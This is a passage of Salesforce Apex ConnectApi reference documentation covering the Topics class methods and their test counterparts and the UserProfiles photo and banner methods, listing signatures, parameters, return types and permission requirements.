getTopics(communityId, sortParam)
```

Get the first page of sorted topics for the org or community.

API Version

29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature

```
public static ConnectApi.TopicPage getTopics(String communityId, ConnectApi.TopicSort sortParam)
```

Parameters

```
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

sortParam
  Type: ConnectApi.TopicSort
  Values are:
  • `popularDesc`—Sorts topics by popularity with the most popular first. This value is the default.
  • `alphaAsc`—Sorts topics alphabetically.
```
Return Value
Type: `ConnectApi.TopicPage`

`getTopics(communityId, pageParam, pageSize)`
Get a page of topics.

API Version
29.0

Available to Guest Users
32.0

Requires Chatter
No

Signature
```
public static ConnectApi.TopicPage getTopics(String communityId, Integer pageParam, Integer pageSize)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `pageParam`
  Type: `Integer`
  Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- `pageSize`
  Type: `Integer`
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value
Type: `ConnectApi.TopicPage`

`getTopics(communityId, pageParam, pageSize, sortParam)`
Get a page of sorted topics.

API Version
29.0
public static ConnectApi.TopicPage getTopics(String communityId, Integer pageParam, 
Integer pageSize, ConnectApi.TopicSort sortParam)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
  Type: ConnectApi.TopicSort
  Values are:
  - popularDesc—Sorts topics by popularity with the most popular first. This value is the default.
  - alphaAsc—Sorts topics alphabetically.

Return Value

Type: ConnectApi.TopicPage

getTopics(communityId, q, sortParam)

Get the sorted topics that match the search criteria.
Requires Chatter
No

Signature

```java
public static ConnectApi.TopicPage getTopics(String communityId, String q,
ConnectApi.TopicSort sortParam)
```

Parameters

- **communityId**
  Type: **String**
  Use the ID for an Experience Cloud site, internal, or null.

- **q**
  Type: **String**
  Specifies the string to search. The string must contain at least two characters, not including wildcards.

- **sortParam**
  Type: **ConnectApi.TopicSort**
  Values are:
  - `popularDesc`—Sorts topics by popularity with the most popular first. This value is the default.
  - `alphaAsc`—Sorts topics alphabetically.

Return Value

Type: **ConnectApi.TopicPage**

```java
getTopics(communityId, q, pageParam, pageSize)
```

Get a page of topics that match the search criteria.

API Version

29.0

Available to Guest Users

32.0

Requires Chatter
No

Signature

```java
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer
pageParam, Integer pageSize)
```
Parameters

*communityId*

Type: String

Use the ID for an Experience Cloud site, *internal*, or *null*.

*q*

Type: String

Specifies the string to search. The string must contain at least two characters, not including wildcards.

*pageParam*

Type: Integer

Specifies the number of the page you want returned. Starts at 0. If you pass in *null* or 0, the first page is returned.

*pageSize*

Type: Integer

Specifies the number of items per page. Valid values are from 1 through 100. If you pass in *null*, the default size is 25.

Return Value

Type: ConnectApi.TopicPage

**getTopics(communityId, q, pageParam, pageSize, sortParam)**

Get a page of sorted topics that match the search criteria.

API Version

29.0

Available to Guest Users

32.0

Requires Chatter

No

Signature

```java
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.TopicSort sortParam)
```

Parameters

*communityId*

Type: String

Use the ID for an Experience Cloud site, *internal*, or *null*.

*q*

Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.

**pageParam**  
Type: Integer  
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

**pageSize**  
Type: Integer  
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**  
Type: ConnectApi.TopicSort  
Values are:  
- `popularDesc`—Sorts topics by popularity with the most popular first. This value is the default.  
- `alphaAsc`—Sorts topics alphabetically.

Return Value  
Type: `ConnectApi.TopicPage`

**getTopics(communityId, q, exactMatch)**  
Get the topic that matches the exact, case-insensitive name.

API Version  
33.0

Available to Guest Users  
33.0

Requires Chatter  
No

Signature  
```
public static ConnectApi.TopicPage getTopics(String communityId, String q, Boolean exactMatch)
```

Parameters  
**communityId**  
Type: String  
Use the ID for an Experience Cloud site, `internal`, or `null`.

**q**  
Type: String  
Specifies the string to search. The string must contain at least two characters, not including wildcards.
exactMatch
Type: Boolean
Specify true to find a topic by its exact, case-insensitive name.

Return Value
Type: ConnectApi.TopicPage

getTopicsOrFallBackToRenamedTopics(communityId, q, exactMatch, fallBackToRenamedTopics)
Get the most recent renamed topic match, if there isn’t an exact match.

API Version
35.0

Available to Guest Users
35.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopicsOrFallBackToRenamedTopics(String communityId, String q, Boolean exactMatch, Boolean fallBackToRenamedTopics)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.

exactMatch
Type: Boolean
Specify true to find a topic by its exact, case-insensitive name or to find the most recent renamed topic match if there isn’t an exact match.

fallBackToRenamedTopics
Type: Boolean
Specify true and if there isn’t an exact match, the most recent renamed topic match is returned. If there are multiple renamed topic matches, only the most recent is returned. If there are no renamed topic matches, an empty collection is returned.
Return Value
Type: `ConnectApi.TopicPage`

```java
getTopicSuggestions(communityId, recordId, maxResults)
```
Get up to a specified number of suggested topics for a record or feed item.

API Version
29.0

Requires Chatter
No

Signature
```java
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId,
String recordId, Integer maxResults)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `recordId`
  Type: `String`
  The ID for a record or feed item.

- `maxResults`
  Type: `Integer`
  Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

Return Value
Type: `ConnectApi.TopicSuggestionPage`

Usage
Administrators must enable topics for objects before users can see suggested topics for records of that object type.
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestGetTopicSuggestions(communityId, recordId, maxResults, result)`
- Testing `ConnectApi Code`
getTopicSuggestions(communityId, recordId)
Get suggested topics for a record or feed item.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId, String recordId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
recordId
Type: String
The ID for a record or feed item.

Return Value
Type: ConnectApi.TopicSuggestionPage

Usage
Administrators must enable topics for objects before users can see suggested topics for records of that object type.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetTopicSuggestions(communityId, recordId, result)
Testing ConnectApi Code

getTopicSuggestionsForText(communityId, text, maxResults)
Get up to a specified number of suggested topics for a string of text.

API Version
29.0
Requires Chatter
No

Signature

```java
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String communityId, String text, Integer maxResults)
```

Parameters

- **communityId**
  
  Type: **String**
  
  Use the ID for an Experience Cloud site, internal, or null.

- **text**
  
  Type: **String**
  
  String of text.

- **maxResults**
  
  Type: **Integer**
  
  Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

Return Value

Type: `ConnectApi.TopicSuggestionPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetTopicSuggestionsForText(communityId, text, maxResults, result)`

Testing ConnectApi Code

```java
getTopicSuggestionsForText(communityId, text)
```

Get suggested topics for a string of text.

API Version

29.0

Requires Chatter
No
Signature

```java
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String communityId, String text)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `text`
  - Type: `String`
  - String of text.

Return Value

- Type: `ConnectApi.TopicSuggestionPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetTopicSuggestionsForText(communityId, text, result)`
- `Testing ConnectApi Code`

`getTrendingTopics(communityId)`

Get trending topics for the org or Experience Cloud site.

API Version

- 29.0

Available to Guest Users

- 32.0

Requires Chatter

- No

Signature

```java
public static ConnectApi.TopicPage getTrendingTopics(String communityId)
```
Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or null.

Return Value

Type: `ConnectApi.TopicPage`

Usage

The more frequently people add a specific topic to their posts and comments and comment on or like posts with the same topic over a short period, the more likely it is to become a trending topic. For example, if your coworkers are attending the upcoming Dreamforce conference and have started discussing it in Chatter, you might see a trending topic for Dreamforce. A trending topic is not solely based on popularity and usually relates to a one-time or infrequent event that has a spike in activity, such as a conference or a project deadline.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetTrendingTopics(communityId, result)`
- Testing ConnectApi Code

`getTrendingTopics(communityId, maxResults)`

Get up to a specified number of trending topics for the org or Experience Cloud site.

API Version

29.0

Available to Guest Users

32.0

Requires Chatter

No

Signature

`public static ConnectApi.TopicPage getTrendingTopics(String communityId, Integer maxResults)`

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or null.
maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

Return Value
Type: ConnectApi.TopicPage

Usage
The more frequently people add a specific topic to their posts and comments and comment on or like posts with the same topic over a short period, the more likely it is to become a trending topic. For example, if your coworkers are attending the upcoming Dreamforce conference and have started discussing it in Chatter, you might see a trending topic for Dreamforce. A trending topic is not solely based on popularity and usually relates to a one-time or infrequent event that has a spike in activity, such as a conference or a project deadline.

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetTrendingTopics(communityId, maxResults, result)

Testing ConnectApi Code

mergeTopics(communityId, topicId, idsToMerge)
Merge up to five secondary topics with a primary topic.

API Version
33.0

Requires Chatter
No

Signature
public static ConnectApi.Topic mergeTopics(String communityId, String topicId, List<String> idsToMerge)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

topicId
Type: String
The ID for the primary topic for the merge. If this topic is a managed topic, it retains its topic type, topic images, and children topics.
**idsToMerge**
Type: `List<String>`
A list of up to five comma-separated secondary topic IDs to merge with the primary topic. If any of these secondary topics are managed topics, they lose their topic type, topic images, and children topics. Their feed items are reassigned to the primary topic.

**Return Value**
Type: `ConnectApi.Topic`

**Usage**
Only users with the Delete Topics or Modify All Data permission can merge topics.

**reassignTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory, topicNames)**
Reassign topic and article assignment rules by data category by deleting the existing rules and creating new rules.

**API Version**
40.0

**Requires Chatter**
No

**Signature**
```java
public static ConnectApi.TopicPage reassignTopicDataCategoryRules(String communityId,
                    String dataCategoryGroup, String dataCategory,
                    ConnectApi.TopicNamesInput topicNames)
```

**Parameters**
- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.
- **dataCategoryGroup**
  Type: `String`
  The data category group used by articles.
- **dataCategory**
  Type: `String`
  The data category used by articles.
- **topicNames**
  Type: `ConnectApi.TopicNamesInput`
  A `ConnectApi.TopicNamesInput` object with the names of topics to reassign to articles in a data category.
reassignTopicsByName(communityId, recordId, topicNames)

Reassign all the topics on a record or feed item, that is, remove all the assigned topics on a record or feed item and add topics. Optionally, provide a list of suggested topics to assign to a record or feed item to improve future topic suggestions.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage reassignTopicsByName(String communityId, String recordId, ConnectApi.TopicNamesInput topicNames)

Parameters

  communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

  recordId
  Type: String
  The ID of the record or feed item to which to assign the topic.

  topicNames
  Type: ConnectApi.TopicNamesInput
  A list of topics to replace the currently assigned topics. Optionally, a list of suggested topics to assign to improve future topic suggestions.

Return Value
Type: ConnectApi.TopicPage

Usage
Only users with the Assign Topics permission can remove topics from records or feed items and add existing topics to records or feed items. Only users with the Create Topics permission can add new topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

unassignTopic(communityId, recordId, topicId)

Remove a topic from a record or feed item.
API Version
29.0

Requires Chatter
No

Signature
public static Void unassignTopic(String communityId, String recordId, String topicId)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

recordId
  Type: String
  The ID for a record or feed item.

topicId
  Type: String
  The ID for a topic.

Return Value
Type: Void

Usage
Only users with the Assign Topics permission can remove topics from feed items or records. Administrators must enable topics for objects before users can add topics to records of that object type.

updateTopic(communityId, topicId, topic)
Update the description or name of a topic or merge up to five secondary topics with a primary topic.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.Topic updateTopic(String communityId, String topicId, ConnectApi.TopicInput topic)
Parameters

**communityId**
- Type: String
  - Use the ID for an Experience Cloud site, *internal*, or *null*.

**topicId**
- Type: String
  - The ID for a topic.

**topic**
- Type: ConnectApi.TopicInput
  - A ConnectApi.TopicInput object containing the name and description of the topic or up to five comma-separated secondary topic IDs to merge with the primary topic.

Return Value

Type: ConnectApi.Topic

Usage

Only users with the Edit Topics or Modify All Data permission can update topic names and descriptions. Only users with the Delete Topics or Modify All Data permission can merge topics.

```java
updateTopicsForArticlesInDataCategory(communityId, dataCategoryGroup, dataCategory, articleTopicAssignmentJob)
```

Assign topics to articles and unassign topics from articles in a data category.

API Version

40.0

Requires Chatter

No

Signature

```java
public static ConnectApi.TopicPage updateTopicsForArticlesInDataCategory(String communityId, String dataCategoryGroup, String dataCategory, ConnectApi.ArticleTopicAssignmentJobInput articleTopicAssignmentJob)
```

Parameters

**communityId**
- Type: String
  - Use the ID for an Experience Cloud site, *internal*, or *null*.

**dataCategoryGroup**
- Type: String
The data category group used by articles.

dataCategory
Type: String
The data category used by articles.

articleTopicAssignmentJob
Type: ConnectApi.ArticleTopicAssignmentJobInput
A ConnectApi.ArticleTopicAssignmentJobInput object that indicates the operation to take on which topics.

Return Value
Type: ConnectApi.TopicPage

Topics Test Methods
The following are the test methods for Topics. All methods are static.

For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

setTestGetGroupsRecentlyTalkingAboutTopic(communityId, topicId, result)
Register a ConnectApi.ChatterGroupSummaryPage object to be returned when the matching
ConnectApi.getGroupsRecentlyTalkingAboutTopic method is called in a test context. Use the method with the
same parameters or you receive an exception.

API Version
29.0

Signature
public static Void setTestGetGroupsRecentlyTalkingAboutTopic(String communityId, String
topicId, ConnectApi.ChatterGroupSummaryPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

topicId
Type: String
The ID for a topic.

result
Type: ConnectApi.ChatterGroupSummaryPage
The object containing test data.
Return Value
Type: Void

SEE ALSO:
getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Testing ConnectApi Code

**setTestGetRecentlyTalkingAboutTopicsForGroup(communityId, groupId, result)**

Register a ConnectApi.TopicPage object to be returned when the matching ConnectApi.getRecentlyTalkingAboutTopicsForGroup method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0

Signature
```java
public static Void setTestGetRecentlyTalkingAboutTopicsForGroup(String communityId, String groupId, ConnectApi.TopicPage result)
```

Parameters
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **groupId**
  Type: String
  The ID for a group.

- **result**
  Type: ConnectApi.TopicPage
  The object containing test data.

Return Value
Type: Void

SEE ALSO:
getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Testing ConnectApi Code
setTestGetRecentlyTalkingAboutTopicsForUser(communityId, userId, result)

Register a `ConnectApi.TopicPage` object to be returned when the matching `ConnectApi.getRecentlyTalkingAboutTopicsForUser` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0

Signature

```java
public static Void setTestGetRecentlyTalkingAboutTopicsForUser(String communityId, String userId, ConnectApi.TopicPage result)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `userId`
  - Type: `String`
  - The ID for a user.

- `result`
  - Type: `ConnectApi.TopicPage`
  - Specify the test topics page.

Return Value

Type: Void

SEE ALSO:
- `getRecentlyTalkingAboutTopicsForUser(communityId, userId)`
- Testing ConnectApi Code

setTestGetRelatedTopics(communityId, topicId, result)

Register a `ConnectApi.TopicPage` object to be returned when the matching `ConnectApi.getRelatedTopics` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0

Signature

```java
public static Void setTestGetRelatedTopics(String communityId, String topicId, ConnectApi.TopicPage result)
```
Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **topicId**
  - Type: `String`
  - The ID for a topic.

- **result**
  - Type: `ConnectApi.TopicPage`
  - The object containing test data.

Return Value

- Type: Void

**SEE ALSO:**

- `getRelatedTopics(communityId, topicId)`
- Testing `ConnectApi` Code

**setTestGetTopicSuggestions(communityId, recordId, maxResults, result)**

Register a `ConnectApi.TopicSuggestionPage` object to be returned when the matching `ConnectApi.getTopicSuggestions` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

29.0

**Signature**

```
public static Void setTestGetTopicSuggestions(String communityId, String recordId, Integer maxResults, ConnectApi.TopicSuggestionPage result)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **recordId**
  - Type: `String`
  - The ID for a record or feed item.

- **maxResults**
  - Type: `Integer`
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

**result**
Type: `ConnectApi.TopicSuggestionPage`
Specify the test topic suggestions page.

Return Value
Type: Void

**SEE ALSO:**
- `getTopicSuggestions(communityId, recordId, maxResults)`
- Testing ConnectApi Code

**`setTestGetTopicSuggestions(communityId, recordId, result)`**

Register a `ConnectApi.TopicSuggestionPage` object to be returned when the matching `ConnectApi.getTopicSuggestions` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**
29.0

**Signature**

```java
public static Void setTestGetTopicSuggestions(String communityId, String recordId, ConnectApi.TopicSuggestionPage result)
```

**Parameters**

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or null.

- `recordId`
  Type: `String`
  The ID for a record or feed item.

- `result`
  Type: `ConnectApi.TopicSuggestionPage`
  The object containing test data.
Return Value
Type: Void

SEE ALSO:
getTopicSuggestions(communityId, recordId)
Testing ConnectApi Code

**setTestGetTopicSuggestionsForText(communityId, text, maxResults, result)**

Register a `ConnectApi.TopicSuggestionPage` object to be returned when the matching `ConnectApi.getTopicSuggestionsForText` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**
29.0

**Signature**
```java
public static Void setTestGetTopicSuggestionsForText(String communityId, String text, Integer maxResults, ConnectApi.TopicSuggestionPage result)
```

**Parameters**

*communityId*
Type: `String`
Use the ID for an Experience Cloud site, internal, or null.

text
Type: `String`
String of text.

*maxResults*
Type: `Integer`
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

*result*
Type: `ConnectApi.TopicSuggestionPage`
The object containing test data.

**Return Value**
Type: Void

SEE ALSO:
getTopicSuggestionsForText(communityId, text, maxResults)
Testing ConnectApi Code
**setTestGetTopicSuggestionsForText(communityId, text, result)**

Register a `ConnectApi.TopicSuggestionPage` object to be returned when the matching `ConnectApi.getTopicSuggestionsForText` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0

Signature

```java
public static Void setTestGetTopicSuggestionsForText(String communityId, String text, ConnectApi.TopicSuggestionPage result)
```

Parameters

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or null.

- **text**
  Type: `String`
  String of text.

- **result**
  Type: `ConnectApi.TopicSuggestionPage`
  The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getTopicSuggestionsForText(communityId, text)`
- Testing ConnectApi Code

**setTestGetTrendingTopics(communityId, result)**

Register a `ConnectApi.TopicPage` object to be returned when the matching `ConnectApi.getTrendingTopics` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0

Signature

```java
public static Void setTestGetTrendingTopics(String communityId, ConnectApi.TopicPage result)
```
Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`result`
Type: `ConnectApi.TopicPage`
The object containing test data.

Return Value
Type: `Void`

SEE ALSO:
- `getTrendingTopics(communityId)`
- Testing ConnectApi Code

### setTestGetTrendingTopics(communityId, maxResults, result)
Register a `ConnectApi.TopicPage` object to be returned when the matching `ConnectApi.getTrendingTopics` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0

Signature

```java
public static Void setTestGetTrendingTopics(String communityId, Integer maxResults, ConnectApi.TopicPage result)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`maxResults`
Type: `Integer`
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

`result`
Type: `ConnectApi.TopicPage`
The object containing test data.
Return Value

Type: Void

SEE ALSO:
  - getTrendingTopics(communityId, maxResults)
  - Testing ConnectApi Code

UserProfiles Class

Access user profile data. The user profile data populates the profile page (also called the Chatter profile page). This data includes user information (such as address, manager, and phone number), some user capabilities (permissions), and a set of subtab apps, which are custom tabs on the profile page.

Namespace

ConnectApi

UserProfiles Methods

The following are methods for UserProfiles. All methods are static.

IN THIS SECTION:
  - deleteBannerPhoto(communityId, userId)
    Delete a user’s banner photo.
  - deletePhoto(communityId, userId)
    Delete a user’s photo.
  - getBannerPhoto(communityId, userId)
    Get a user’s banner photo.
  - getPhoto(communityId, userId)
    Get a user’s photo.
  - getUserProfile(communityId, userId)
    Get the user profile of the context user.
  - setBannerPhoto(communityId, userId, fileId, versionNumber)
    Set an uploaded file as a user’s banner photo.
  - setBannerPhoto(communityId, userId, fileUpload)
    Set a file that hasn’t been uploaded as a user’s banner photo.
  - setBannerPhotoWithAttributes(communityId, userId, bannerPhoto)
    Set and crop an uploaded file as a user’s banner photo.
  - setBannerPhotoWithAttributes(communityId, userId, bannerPhoto, fileUpload)
    Set and crop a file that hasn’t been uploaded as a user’s banner photo.
  - setPhoto(communityId, userId, fileId, versionNumber)
    Set an uploaded file as a user’s photo.
setPhoto(communityId, userId, fileUpload)
Set a file that hasn’t been uploaded as a user’s photo.
setPhotoWithAttributes(communityId, userId, photo)
Set and crop an uploaded file as a user’s photo.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Set and crop a file that hasn’t been uploaded as a user’s photo.

deleteBannerPhoto(communityId, userId)
deleteBannerPhoto(communityId, userId)
Delete a user’s banner photo.

API Version
36.0

Requires Chatter
No

Signature
public static Void deleteBannerPhoto(String communityId, String userId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
ID of the user.

Return Value
Type: Void

deletePhoto(communityId, userId)
deletePhoto(communityId, userId)
Delete a user’s photo.

API Version
35.0

Requires Chatter
No
Signature

```java
public static Void deletePhoto(String communityId, String userId)
```

Parameters

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- **userId**
  Type: `String`
  The ID for the context user or the keyword `me`.

Return Value

Type: Void

---

**getBannerPhoto(communityId, userId)**

Get a user's banner photo.

API Version

36.0

Requires Chatter

No

Signature

```java
public static ConnectApi.BannerPhoto getBannerPhoto(String communityId, String userId)
```

Parameters

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- **userId**
  Type: `String`
  ID of the user.

Return Value

Type: `ConnectApi.BannerPhoto`

---

**getPhoto(communityId, userId)**

Get a user's photo.
API Version
35.0

Available to Guest Users
35.0

Requires Chatter
No

Signature
public static ConnectApi.Photo getPhoto(String communityId, String userId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.Photo

getUserProfile(communityId, userId)
Get the user profile of the context user.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserProfile getUserProfile(String communityId, String userId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
**userId**

Type: `String`

The ID for a user.

Return Value

Type: `ConnectApi.UserProfile`

**setBannerPhoto(communityId, userId, fileId, versionNumber)**

Set an uploaded file as a user’s banner photo.

API Version

36.0

Requires Chatter

No

Signature

```java
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String userId, String fileId, Integer versionNumber)
```

Parameters

**communityId**

Type: `String`

Use the ID for an Experience Cloud site, `internal`, or `null`.

**userId**

Type: `String`

ID of the user.

**fileId**

Type: `String`

ID of the uploaded file to use as the user banner. The key prefix must be 069, and the image must be smaller than 8 MB.

**versionNumber**

Type: `Integer`

Version number of the file. Specify an existing version number or, to get the latest version, specify `null`.

Return Value

Type: `ConnectApi.BannerPhoto`

Usage

Photos are processed asynchronously and may not be visible right away.
setBannerPhoto(communityId, userId, fileUpload)
Set a file that hasn't been uploaded as a user's banner photo.

API Version
36.0

Requires Chatter
No

Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String userId, ConnectApi.BinaryInput fileUpload)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
ID of the user.

fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.BannerPhoto

Usage
Photos are processed asynchronously and may not be visible right away.

setBannerPhotoWithAttributes(communityId, userId, bannerPhoto)
Set and crop an uploaded file as a user's banner photo.

API Version
36.0

Requires Chatter
No
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId, String userId, ConnectApi.BannerPhotoInput bannerPhoto)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
ID of the user.

bannerPhoto
Type: ConnectApi.BannerPhotoInput
A ConnectApi.BannerPhotoInput object that specifies the ID and version of the file, and how to crop the file.

Return Value
Type: ConnectApi.BannerPhoto

Usage
Photos are processed asynchronously and may not be visible right away.

setBannerPhotoWithAttributes(communityId, userId, bannerPhoto, fileUpload)
Set and crop a file that hasn’t been uploaded as a user’s banner photo.

API Version
36.0

Requires Chatter
No

Signature
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId, String userId, ConnectApi.BannerPhotoInput bannerPhoto, ConnectApi.BinaryInput fileUpload)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
userId
   Type: String
   ID of the user.

bannerPhoto
   Type: ConnectApi.BannerPhotoInput
   A ConnectApi.BannerPhotoInput object specifying the cropping parameters.

fileUpload
   Type: ConnectApi.BinaryInput
   A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.BannerPhoto

Usage
Photos are processed asynchronously and may not be visible right away.

setPhoto(communityId, userId, fileId, versionNumber)
Set an uploaded file as a user’s photo.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId, String fileId, Integer versionNumber)

Parameters
communityId
   Type: String
   Use the ID for an Experience Cloud site, internal, or null.

userId
   Type: String
   The ID for the context user or the keyword me.

fileId
   Type: String
   ID of an uploaded file. The file must be an image, and be smaller than 2 GB.
versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number, or null to get the latest version.

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.

setPhoto(communityId, userId, fileUpload)
Set a file that hasn’t been uploaded as a user’s photo.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId, ConnectApi.BinaryInput fileUpload)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.
setPhotoWithAttributes(communityId, userId, photo)
Set and crop an uploaded file as a user’s photo.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId, ConnectApi.PhotoInput photo)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the file ID, version number, and cropping parameters.

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.

setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Set and crop a file that hasn’t been uploaded as a user’s photo.

API Version
35.0

Requires Chatter
No
**Signature**

```java
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **userId**
  - Type: `String`
  - The ID for the context user or the keyword `me`.

- **photo**
  - Type: `ConnectApi.PhotoInput`
  - A `ConnectApi.PhotoInput` object specifying the cropping parameters.

- **fileUpload**
  - Type: `ConnectApi.BinaryInput`
  - A file to use as the photo. The content type must be usable as an image.

**Return Value**

Type: `ConnectApi.Photo`

**Usage**

Photos are processed asynchronously and may not be visible right away.

**Zones Class**

Access information about Chatter Answers zones in your organization. Zones organize questions into logical groups, with each zone having its own focus and unique questions.

